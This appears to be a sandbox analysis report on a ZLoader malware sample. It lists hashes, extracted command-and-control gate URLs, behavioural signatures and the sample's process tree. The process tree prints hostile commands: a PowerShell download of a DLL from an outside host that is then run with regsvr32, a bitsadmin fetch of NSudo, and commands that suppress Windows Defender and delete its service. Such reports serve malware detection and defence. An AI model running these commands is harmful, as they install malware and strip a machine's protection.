Analysis
-
max time kernel
46s -
max time network
147s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
26-07-2021 14:28
Static task
static1
Behavioral task
behavioral1
Sample
start.EXE
Resource
win7v20210410
General
-
Target
start.EXE
-
Size
165KB
-
MD5
95abe912bb579d445f4b2cc30c6e3750
-
SHA1
4f8ddf498f7dceb9a5d32de909ced0518f697ef0
-
SHA256
cbc445b9882192d8cb8c62c6a5231e6efedcb5d60b610fcb1147a943c2a83e21
-
SHA512
515e6c8b08fceb21153ec4df5a7a21d283da135d4aed0116420b6dec59ec1168cf6ef7a12fd593fb5f492de0f7e180d15405a57dd0484859c3c3d7a4db54115e
Malware Config
Extracted
zloader
vasja
vasja
https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 1640 powershell.exe -
Downloads MZ/PE file
-
Loads dropped DLL 1 IoCs
Processes:
regsvr32.exepid process 1656 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
start.EXEdescription ioc process Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce start.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" start.EXE -
Download via BitsAdmin 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1640 powershell.exe 1640 powershell.exe 1640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1640 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
start.EXEcmd.exeregsvr32.exedescription pid process target process PID 3176 wrote to memory of 60 3176 start.EXE cmd.exe PID 3176 wrote to memory of 60 3176 start.EXE cmd.exe PID 60 wrote to memory of 1640 60 cmd.exe powershell.exe PID 60 wrote to memory of 1640 60 cmd.exe powershell.exe PID 60 wrote to memory of 3932 60 cmd.exe regsvr32.exe PID 60 wrote to memory of 3932 60 cmd.exe regsvr32.exe PID 3932 wrote to memory of 1656 3932 regsvr32.exe regsvr32.exe PID 3932 wrote to memory of 1656 3932 regsvr32.exe regsvr32.exe PID 3932 wrote to memory of 1656 3932 regsvr32.exe regsvr32.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\start.EXE"C:\Users\Admin\AppData\Local\Temp\start.EXE"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c start.bat2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://srwhpvikxwoxfmgotrje.com/Java.dll -OutFile Java.dll3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\regsvr32.exeregsvr32 Java.dll3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exeJava.dll4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe5⤵
-
C:\Windows\system32\cacls.exe"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"3⤵
-
C:\Windows\system32\wscript.exewscript C:\Users\Admin\AppData\Local\Temp\tmp.vbs3⤵
-
C:\Windows\system32\bitsadmin.exebitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe C:\Users\Admin\AppData\Local\Temp\NSudo.exe3⤵
- Download via BitsAdmin
-
C:\Users\Admin\AppData\Local\Temp\NSudo.exeNSudo -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f3⤵
-
C:\Users\Admin\AppData\Local\Temp\NSudo.exeNSudo -U:T -ShowWindowMode:Hide sc delete windefend3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.batMD5
3dbdaa0a6eba1c576c706edf9b82c171
SHA12ac4023bdf41e3319570307cc8888194e4277130
SHA256f89a7ca58aefeee7953adbd8e32f18b95b71e51144d07920ba41b3447b42d233
SHA512c2071c45ece1b5408bbbab3e5970adc46d8e21327f2489f2e7610d4532c5108dc24f1e8531d3ba9138641b194cfa33ed32e998360509fa34bfba234c0a607cc8
-
C:\Users\Admin\AppData\Local\Temp\tmp.vbsMD5
fd95bf47d800456ff50e10f166be01d0
SHA1a0acd9785d740974ba894ce311f70f6ca102709f
SHA2564dc30753f79cd1088d0a5d729f9d5373bbba893be4490b90d149b25b6a8e2b55
SHA512e288b26f6bc406e04f1b3d2af463af656804ea37abb54ef8a732105471e11d3e95c719bdcd7a89fff15afa5648efcbccc7d8ed1b577d523ba354a21357964e69
-
C:\Users\Admin\AppData\Roaming\Java.dllMD5
ef6326ba3912f4d0fc7bcfcb36e41cfe
SHA14ea0bec0d162db3c2d38f60feab64e16c52d14e2
SHA2562439bee322854d93826f1f915eab127ae637b19cc89ed32a2c1a047730733f47
SHA51280b1ed813d032a2d1b7b3dc041f338428ca718b4175ba1e74af36937b8b76b31158b4153233fe20599f1d5cee6eab22e26c05c29428278ebb3fce92f3a495a77
-
\Users\Admin\AppData\Roaming\Java.dllMD5
ef6326ba3912f4d0fc7bcfcb36e41cfe
SHA14ea0bec0d162db3c2d38f60feab64e16c52d14e2
SHA2562439bee322854d93826f1f915eab127ae637b19cc89ed32a2c1a047730733f47
SHA51280b1ed813d032a2d1b7b3dc041f338428ca718b4175ba1e74af36937b8b76b31158b4153233fe20599f1d5cee6eab22e26c05c29428278ebb3fce92f3a495a77
-
memory/60-114-0x0000000000000000-mapping.dmp
-
memory/1640-116-0x0000000000000000-mapping.dmp
-
memory/1640-121-0x0000016D41500000-0x0000016D41501000-memory.dmpFilesize
4KB
-
memory/1640-124-0x0000016D416D0000-0x0000016D416D1000-memory.dmpFilesize
4KB
-
memory/1640-129-0x0000016D41540000-0x0000016D41542000-memory.dmpFilesize
8KB
-
memory/1640-130-0x0000016D41543000-0x0000016D41545000-memory.dmpFilesize
8KB
-
memory/1640-131-0x0000016D41546000-0x0000016D41548000-memory.dmpFilesize
8KB
-
memory/1656-138-0x0000000000000000-mapping.dmp
-
memory/1656-140-0x0000000000A80000-0x0000000000BCA000-memory.dmpFilesize
1.3MB
-
memory/1656-141-0x0000000010000000-0x0000000010142000-memory.dmpFilesize
1.3MB
-
memory/2088-142-0x0000000000000000-mapping.dmp
-
memory/2088-148-0x0000000000FC0000-0x0000000000FE6000-memory.dmpFilesize
152KB
-
memory/2116-145-0x0000000000000000-mapping.dmp
-
memory/2236-151-0x0000000000000000-mapping.dmp
-
memory/2328-150-0x0000000000000000-mapping.dmp
-
memory/2756-149-0x0000000000000000-mapping.dmp
-
memory/3532-146-0x0000000000000000-mapping.dmp
-
memory/3932-136-0x0000000000000000-mapping.dmp